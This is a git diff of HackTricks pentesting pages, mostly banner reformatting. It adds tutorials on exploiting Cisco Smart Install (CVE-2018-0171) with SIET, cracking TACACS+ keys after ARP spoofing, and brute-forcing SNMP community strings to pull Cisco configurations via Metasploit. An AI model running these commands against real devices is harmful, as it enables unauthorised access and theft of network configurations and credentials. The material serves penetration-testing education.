+* **Join the** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/carlospolopm)**.**
+* **Share your hacking tricks by submitting PRs to the** [**hacktricks github repo**](https://github.com/carlospolop/hacktricks)**.**
diff --git a/network-services-pentesting/15672-pentesting-rabbitmq-management.md b/network-services-pentesting/15672-pentesting-rabbitmq-management.md
index 6bfd7671c..5227323a9 100644
--- a/network-services-pentesting/15672-pentesting-rabbitmq-management.md
+++ b/network-services-pentesting/15672-pentesting-rabbitmq-management.md
@@ -4,25 +4,19 @@
Support HackTricks and get benefits!
-- Do you work in a **cybersecurity company**? Do you want to see your **company advertised in HackTricks**? or do you want to have access to the **latest version of the PEASS or download HackTricks in PDF**? Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
-
-- Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family)
-
-- Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com)
-
-- **Join the** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/carlospolopm)**.**
-
-- **Share your hacking tricks by submitting PRs to the** [**hacktricks github repo**](https://github.com/carlospolop/hacktricks)**.**
+* Do you work in a **cybersecurity company**? Do you want to see your **company advertised in HackTricks**? or do you want to have access to the **latest version of the PEASS or download HackTricks in PDF**? Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
+* Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family)
+* Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com)
+* **Join the** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/carlospolopm)**.**
+* **Share your hacking tricks by submitting PRs to the** [**hacktricks github repo**](https://github.com/carlospolop/hacktricks)**.**
-{% hint style="danger" %}
If you are interested in **hacking carer** and hack the unhackable - **we are hiring!** (_fluent polish written and spoken required_).
{% embed url="https://www.stmcyber.com/careers" %}
-{% endhint %}
## Basic Information
@@ -45,7 +39,7 @@ service rabbitmq-server restart
Once you have correctly authenticated you will see the admin console:
-![](<../.gitbook/assets/image (271).png>)
+![](<../.gitbook/assets/image (271) (1).png>)
Also, if you have valid credentials you may find interesting the information of `http://localhost:15672/api/connections`
@@ -66,26 +60,20 @@ Content-Length: 267
* `port:15672 http`
-{% hint style="danger" %}
If you are interested in **hacking carer** and hack the unhackable - **we are hiring!** (_fluent polish written and spoken required_).
{% embed url="https://www.stmcyber.com/careers" %}
-{% endhint %}
Support HackTricks and get benefits!
-- Do you work in a **cybersecurity company**? Do you want to see your **company advertised in HackTricks**? or do you want to have access to the **latest version of the PEASS or download HackTricks in PDF**? Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
-
-- Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family)
-
-- Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com)
-
-- **Join the** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/carlospolopm)**.**
-
-- **Share your hacking tricks by submitting PRs to the** [**hacktricks github repo**](https://github.com/carlospolop/hacktricks)**.**
+* Do you work in a **cybersecurity company**? Do you want to see your **company advertised in HackTricks**? or do you want to have access to the **latest version of the PEASS or download HackTricks in PDF**? Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
+* Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family)
+* Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com)
+* **Join the** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/carlospolopm)**.**
+* **Share your hacking tricks by submitting PRs to the** [**hacktricks github repo**](https://github.com/carlospolop/hacktricks)**.**
diff --git a/network-services-pentesting/4786-cisco-smart-install.md b/network-services-pentesting/4786-cisco-smart-install.md
index 416a2881d..a7b3e36eb 100644
--- a/network-services-pentesting/4786-cisco-smart-install.md
+++ b/network-services-pentesting/4786-cisco-smart-install.md
@@ -12,11 +12,45 @@
+## Basic Information
+
+**Cisco Smart Install** is a Cisco designed to automate the initial configuration and loading of an operating system image for new Cisco hardware. **By default, Cisco Smart Install is active on Cisco hardware and uses the transport layer protocol, TCP, with port number 4786.**
+
+**Default port:** 4786
+
+```
+PORT STATE SERVICE
+4786/tcp open smart-install
+```
+
+## **Smart Install Exploitation Tool**
+
+**In 2018, a critical vulnerability, CVE-2018–0171, was found in this protocol. The threat level is 9.8 on the CVSS scale.**
+
+**A specially crafted packet sent to the TCP/4786 port, where Cisco Smart Install is active, triggers a buffer overflow, allowing an attacker to:**
+
+* forcibly reboot the device
+* call RCE
+* steal configurations of network equipment.
+
+**The** [**SIET**](https://github.com/frostbits-security/SIET) **(Smart Install Exploitation Tool)** was developed to exploit this vulnerability, it allows you to abuse Cisco Smart Install. In this article I will show you how you can read a legitimate network hardware configuration file. Configure exfiltration can be valuable for a pentester because it will learn about the unique features of the network. And this will make life easier and allow finding new vectors for an attack.
+
+**The target device will be a “live” Cisco Catalyst 2960 switch. Virtual images do not have Cisco Smart Install, so you can only practice on the real hardware.**
+
+The address of the target switch is **10.10.100.10 and CSI is active.** Load SIET and start the attack. **The -g argument** means exfiltration of the configuration from the device, **the -i argument** allows you to set the IP address of the vulnerable target.
+
+```
+~/opt/tools/SIET$ sudo python2 siet.py -g -i 10.10.100.10
+```
+
+
+
+The switch configuration **10.10.100.10** will be in the **tftp/** folder
+
+\
-
-
-
+
diff --git a/network-services-pentesting/49-pentesting-tacacs+.md b/network-services-pentesting/49-pentesting-tacacs+.md
index 5f135a982..a4b16b4ac 100644
--- a/network-services-pentesting/49-pentesting-tacacs+.md
+++ b/network-services-pentesting/49-pentesting-tacacs+.md
@@ -39,37 +39,37 @@ Now you need to run [Loki](https://c0decafe.de/svn/codename\_loki/trunk/). This
sudo loki_gtk.py
```
-
+
You also need to specify the path to the dictionary in order to bruteforce the encrypted key. Be sure to uncheck the **Use Bruteforce** option, otherwise Loki will bruteforce the password without using the dictionary.
-
+
Now we have to wait for an administrator to log into the device through the TACACS server. It is assumed that the network administrator has already logged in, and we, **standing in the middle via ARP spoofing**, intercept the traffic. And in doing so, the legitimate hosts don’t realize that someone else has interfered with their connection.
-
+
Now click the **CRACK** button and wait for **Loki** to break the password.
-
+
### Decrypt Traffic
Great, we managed to unlock the key, now we need to decrypt the TACACS traffic. As I said, Wireshark can handle encrypted TACACS traffic if the key is present.
-
+
We see which banner was used.
-
+
We find the username of the user `admin`
-
+
As a result, **we have the `admin:secret1234` credentials,** which can be used to access the hardware itself. **I think I’ll check their validity.**
-
+
This is how you can attack TACACS+ and **gain access** to the control panel of network equipment.
diff --git a/network-services-pentesting/5985-5986-pentesting-omi.md b/network-services-pentesting/5985-5986-pentesting-omi.md
index 6febd5a79..5e30d56bf 100644
--- a/network-services-pentesting/5985-5986-pentesting-omi.md
+++ b/network-services-pentesting/5985-5986-pentesting-omi.md
@@ -25,7 +25,7 @@ OMI is an [open-source](https://github.com/microsoft/omi) remote configuration m
When these services are configured, the omiengine process will listen on all interfaces and being running as the root user.
-
+
**Default port:** 5985(http), 5986(https)
diff --git a/network-services-pentesting/5985-5986-pentesting-winrm.md b/network-services-pentesting/5985-5986-pentesting-winrm.md
index 1642ea7aa..65be5403a 100644
--- a/network-services-pentesting/5985-5986-pentesting-winrm.md
+++ b/network-services-pentesting/5985-5986-pentesting-winrm.md
@@ -48,7 +48,7 @@ wmic /node: process call create "powershell enable-psremoting -forc
Once the attack machine is configured, use the `Test-WSMan` function to test whether the target is configured for WinRM. You should see some information returned about the protocol version and wsmid:
-![](<../.gitbook/assets/image (161).png>)
+![](<../.gitbook/assets/image (161) (1).png>)
![](<../.gitbook/assets/image (162).png>)
diff --git a/network-services-pentesting/8086-pentesting-influxdb.md b/network-services-pentesting/8086-pentesting-influxdb.md
index c6a27c57b..ef8b8b4a5 100644
--- a/network-services-pentesting/8086-pentesting-influxdb.md
+++ b/network-services-pentesting/8086-pentesting-influxdb.md
@@ -1,28 +1,22 @@
# 8086 - Pentesting InfluxDB
-{% hint style="danger" %}
-![](<../.gitbook/assets/image (9) (1).png>)
+![](<../.gitbook/assets/image (9) (1) (2).png>)
\
Use [**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) to easily build and **automate workflows** powered by the world's **most advanced** community tools.\
Get Access Today:
{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}
-{% endhint %}
Support HackTricks and get benefits!
-- Do you work in a **cybersecurity company**? Do you want to see your **company advertised in HackTricks**? or do you want to have access to the **latest version of the PEASS or download HackTricks in PDF**? Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
-
-- Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family)
-
-- Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com)
-
-- **Join the** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/carlospolopm)**.**
-
-- **Share your hacking tricks by submitting PRs to the** [**hacktricks github repo**](https://github.com/carlospolop/hacktricks)**.**
+* Do you work in a **cybersecurity company**? Do you want to see your **company advertised in HackTricks**? or do you want to have access to the **latest version of the PEASS or download HackTricks in PDF**? Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
+* Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family)
+* Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com)
+* **Join the** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/carlospolopm)**.**
+* **Share your hacking tricks by submitting PRs to the** [**hacktricks github repo**](https://github.com/carlospolop/hacktricks)**.**
@@ -151,24 +145,18 @@ msf6 > use auxiliary/scanner/http/influxdb_enum
Support HackTricks and get benefits!
-- Do you work in a **cybersecurity company**? Do you want to see your **company advertised in HackTricks**? or do you want to have access to the **latest version of the PEASS or download HackTricks in PDF**? Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
-
-- Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family)
-
-- Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com)
-
-- **Join the** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/carlospolopm)**.**
-
-- **Share your hacking tricks by submitting PRs to the** [**hacktricks github repo**](https://github.com/carlospolop/hacktricks)**.**
+* Do you work in a **cybersecurity company**? Do you want to see your **company advertised in HackTricks**? or do you want to have access to the **latest version of the PEASS or download HackTricks in PDF**? Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
+* Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family)
+* Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com)
+* **Join the** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/carlospolopm)**.**
+* **Share your hacking tricks by submitting PRs to the** [**hacktricks github repo**](https://github.com/carlospolop/hacktricks)**.**
-{% hint style="danger" %}
-![](<../.gitbook/assets/image (9) (1).png>)
+![](<../.gitbook/assets/image (9) (1) (2).png>)
\
Use [**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) to easily build and **automate workflows** powered by the world's **most advanced** community tools.\
Get Access Today:
{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}
-{% endhint %}
diff --git a/network-services-pentesting/pentesting-ldap.md b/network-services-pentesting/pentesting-ldap.md
index d23b6f4e4..66812a2c2 100644
--- a/network-services-pentesting/pentesting-ldap.md
+++ b/network-services-pentesting/pentesting-ldap.md
@@ -4,15 +4,11 @@
Support HackTricks and get benefits!
-- Do you work in a **cybersecurity company**? Do you want to see your **company advertised in HackTricks**? or do you want to have access to the **latest version of the PEASS or download HackTricks in PDF**? Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
-
-- Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family)
-
-- Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com)
-
-- **Join the** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/carlospolopm)**.**
-
-- **Share your hacking tricks by submitting PRs to the** [**hacktricks github repo**](https://github.com/carlospolop/hacktricks)**.**
+* Do you work in a **cybersecurity company**? Do you want to see your **company advertised in HackTricks**? or do you want to have access to the **latest version of the PEASS or download HackTricks in PDF**? Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
+* Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family)
+* Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com)
+* **Join the** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/carlospolopm)**.**
+* **Share your hacking tricks by submitting PRs to the** [**hacktricks github repo**](https://github.com/carlospolop/hacktricks)**.**
@@ -325,7 +321,7 @@ You can download a graphical interface with LDAP server here: [http://www.jxplor
By default is is installed in: _/opt/jxplorer_
-![](<../.gitbook/assets/image (22).png>)
+![](<../.gitbook/assets/image (22) (1).png>)
## Authentication via kerberos
@@ -409,14 +405,10 @@ Entry_6:
Support HackTricks and get benefits!
-- Do you work in a **cybersecurity company**? Do you want to see your **company advertised in HackTricks**? or do you want to have access to the **latest version of the PEASS or download HackTricks in PDF**? Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
-
-- Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family)
-
-- Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com)
-
-- **Join the** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/carlospolopm)**.**
-
-- **Share your hacking tricks by submitting PRs to the** [**hacktricks github repo**](https://github.com/carlospolop/hacktricks)**.**
+* Do you work in a **cybersecurity company**? Do you want to see your **company advertised in HackTricks**? or do you want to have access to the **latest version of the PEASS or download HackTricks in PDF**? Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
+* Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family)
+* Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com)
+* **Join the** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/carlospolopm)**.**
+* **Share your hacking tricks by submitting PRs to the** [**hacktricks github repo**](https://github.com/carlospolop/hacktricks)**.**
diff --git a/network-services-pentesting/pentesting-postgresql.md b/network-services-pentesting/pentesting-postgresql.md
index ddcf30459..7054cb1b8 100644
--- a/network-services-pentesting/pentesting-postgresql.md
+++ b/network-services-pentesting/pentesting-postgresql.md
@@ -1,28 +1,22 @@
# 5432,5433 - Pentesting Postgresql
-{% hint style="danger" %}
-![](<../.gitbook/assets/image (9) (1).png>)
+![](<../.gitbook/assets/image (9) (1) (2).png>)
\
Use [**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) to easily build and **automate workflows** powered by the world's **most advanced** community tools.\
Get Access Today:
{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}
-{% endhint %}
Support HackTricks and get benefits!
-- Do you work in a **cybersecurity company**? Do you want to see your **company advertised in HackTricks**? or do you want to have access to the **latest version of the PEASS or download HackTricks in PDF**? Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
-
-- Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family)
-
-- Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com)
-
-- **Join the** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/carlospolopm)**.**
-
-- **Share your hacking tricks by submitting PRs to the** [**hacktricks github repo**](https://github.com/carlospolop/hacktricks)**.**
+* Do you work in a **cybersecurity company**? Do you want to see your **company advertised in HackTricks**? or do you want to have access to the **latest version of the PEASS or download HackTricks in PDF**? Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
+* Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family)
+* Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com)
+* **Join the** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/carlospolopm)**.**
+* **Share your hacking tricks by submitting PRs to the** [**hacktricks github repo**](https://github.com/carlospolop/hacktricks)**.**
@@ -98,15 +92,13 @@ FROM pg_catalog.pg_roles r
ORDER BY 1;
```
-{% hint style="danger" %}
-![](<../.gitbook/assets/image (9) (1).png>)
+![](<../.gitbook/assets/image (9) (1) (2).png>)
\
Use [**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) to easily build and **automate workflows** powered by the world's **most advanced** community tools.\
Get Access Today:
{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}
-{% endhint %}
## Enumeration
@@ -166,24 +158,18 @@ string pgadmin4.db
Support HackTricks and get benefits!
-- Do you work in a **cybersecurity company**? Do you want to see your **company advertised in HackTricks**? or do you want to have access to the **latest version of the PEASS or download HackTricks in PDF**? Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
-
-- Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family)
-
-- Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com)
-
-- **Join the** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/carlospolopm)**.**
-
-- **Share your hacking tricks by submitting PRs to the** [**hacktricks github repo**](https://github.com/carlospolop/hacktricks)**.**
+* Do you work in a **cybersecurity company**? Do you want to see your **company advertised in HackTricks**? or do you want to have access to the **latest version of the PEASS or download HackTricks in PDF**? Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
+* Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family)
+* Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com)
+* **Join the** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/carlospolopm)**.**
+* **Share your hacking tricks by submitting PRs to the** [**hacktricks github repo**](https://github.com/carlospolop/hacktricks)**.**
-{% hint style="danger" %}
-![](<../.gitbook/assets/image (9) (1).png>)
+![](<../.gitbook/assets/image (9) (1) (2).png>)
\
Use [**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) to easily build and **automate workflows** powered by the world's **most advanced** community tools.\
Get Access Today:
{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}
-{% endhint %}
diff --git a/network-services-pentesting/pentesting-snmp/README.md b/network-services-pentesting/pentesting-snmp/README.md
index bfdbadfa2..ab1ee9b3c 100644
--- a/network-services-pentesting/pentesting-snmp/README.md
+++ b/network-services-pentesting/pentesting-snmp/README.md
@@ -1,7 +1,5 @@
# 161,162,10161,10162/udp - Pentesting SNMP
-## 161,162,10161,10162/udp - Pentesting SNMP
-
Support HackTricks and get benefits!
@@ -138,6 +136,14 @@ snmpwalk -v X -c public NET-SNMP-EXTEND-MIB::nsExtendOutputFull
**SNMP** has a lot of information about the host and things that you may find interesting are: **Network interfaces** (IPv4 and **IPv6** address), Usernames, Uptime, Server/OS version, and **processes running** (may contain passwords)....
+### Cisco
+
+Take a look to this page if you are Cisco equipment:
+
+{% content-ref url="cisco-snmp.md" %}
+[cisco-snmp.md](cisco-snmp.md)
+{% endcontent-ref %}
+
## From SNMP to RCE
If you have the **string** that allows you to **write values** inside the SNMP service, you may be able to abuse it to **execute commands**:
diff --git a/network-services-pentesting/pentesting-snmp/cisco-snmp.md b/network-services-pentesting/pentesting-snmp/cisco-snmp.md
new file mode 100644
index 000000000..2c03829cf
--- /dev/null
+++ b/network-services-pentesting/pentesting-snmp/cisco-snmp.md
@@ -0,0 +1,81 @@
+# Cisco SNMP
+
+
+
+Support HackTricks and get benefits!
+
+* Do you work in a **cybersecurity company**? Do you want to see your **company advertised in HackTricks**? or do you want to have access to the **latest version of the PEASS or download HackTricks in PDF**? Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
+* Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family)
+* Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com)
+* **Join the** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/carlospolopm)**.**
+* **Share your hacking tricks by submitting PRs to the** [**hacktricks github repo**](https://github.com/carlospolop/hacktricks)**.**
+
+
+
+This page was copied from [https://medium.com/@in9uz/cisco-nightmare-pentesting-cisco-networks-like-a-devil-f4032eb437b9](https://medium.com/@in9uz/cisco-nightmare-pentesting-cisco-networks-like-a-devil-f4032eb437b9)
+
+## Configuration exfiltration and enumeration via SNMP
+
+**SNMP (Simple Network Management Protocol)** is a protocol that allows you to monitor the status of devices on a computer network. It can be network equipment, IP phones, corporate servers or anything else.
+
+**SNMP uses the UDP transport layer protocol with port numbers 161/UDP and 162/UDP.** So-called community strings are used to refer SNMP agents to the server. These are, shall we say, special passwords for communicating with the SNMP server. **Community strings have either RO (read-only) or RW (read-write) permissions.**
+
+**Actually, SNMP can not only monitor the equipment status, but also manage it in full: dump configs, change the configuration, etc.** If a pentester can look up the value of community strings, he actually gains access to the equipment. **However, it all depends on which string he bruteforced— to RO or RW community string.**
+
+**Bruteforce community strings can be implemented using the** [**onesixtyone**](https://github.com/trailofbits/onesixtyone) **utility.** It will take as input the dictionary for bruteforcing and the IP addresses of the target hosts. The targets will be:
+
+* **10.10.100.10 — Cisco vIOS Switch**
+* **10.10.100.254 — Cisco vIOS Router**
+
+```
+~$ onesixtyone -c communitystrings -i targets
+```
+
+We found out what community strings are used on those devices. This opens the way for us to exploititation.
+
+### 8.1 cisco\_config\_tftp
+
+With the Metasploit framework, namely the **cisco\_config\_tftp** module, you can pull the device configuration by knowing the value of the community string. The string that has the rights to the RW is **private**.
+
+We will need the following:
+
+* **RW community string (COMMUNITY)**
+* **Attacker’s IP address (LHOST)**
+* **Target equipment IP address (RHOSTS)**
+* **the path in which the module outputs the configuration of the device (OUTPUTDIR)**
+
+```bash
+msf6 auxiliary(scanner/snmp/cisco_config_tftp) > set COMMUNITY private
+msf6 auxiliary(scanner/snmp/cisco_config_tftp) > set RHOSTS 10.10.100.10
+msf6 auxiliary(scanner/snmp/cisco_config_tftp) > set LHOST 10.10.100.50
+msf6 auxiliary(scanner/snmp/cisco_config_tftp) > set OUTPUTDIR /home/necreas1ng/snmp
+msf6 auxiliary(scanner/snmp/cisco_config_tftp) > exploit
+```
+
+After starting the module, the host configuration with address 10.10.100.10 (10.10.100.10.txt) will be downloaded to the specified folder.
+
+![](<../../.gitbook/assets/image (223).png>)
+
+### 8.2 snmp\_enum
+
+With this module you can find out information about the target hardware. Everything is exactly the same: specify **COMMUNITY** (by the way, even a string with **RO permissions will do**) and the IP address of the target device.
+
+```bash
+msf6 auxiliary(scanner/snmp/snmp_enum) > set COMMUNITY public
+msf6 auxiliary(scanner/snmp/snmp_enum) > set RHOSTS 10.10.100.10
+msf6 auxiliary(scanner/snmp/snmp_enum) > exploit
+```
+
+
+
+
+
+Support HackTricks and get benefits!
+
+* Do you work in a **cybersecurity company**? Do you want to see your **company advertised in HackTricks**? or do you want to have access to the **latest version of the PEASS or download HackTricks in PDF**? Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
+* Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family)
+* Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com)
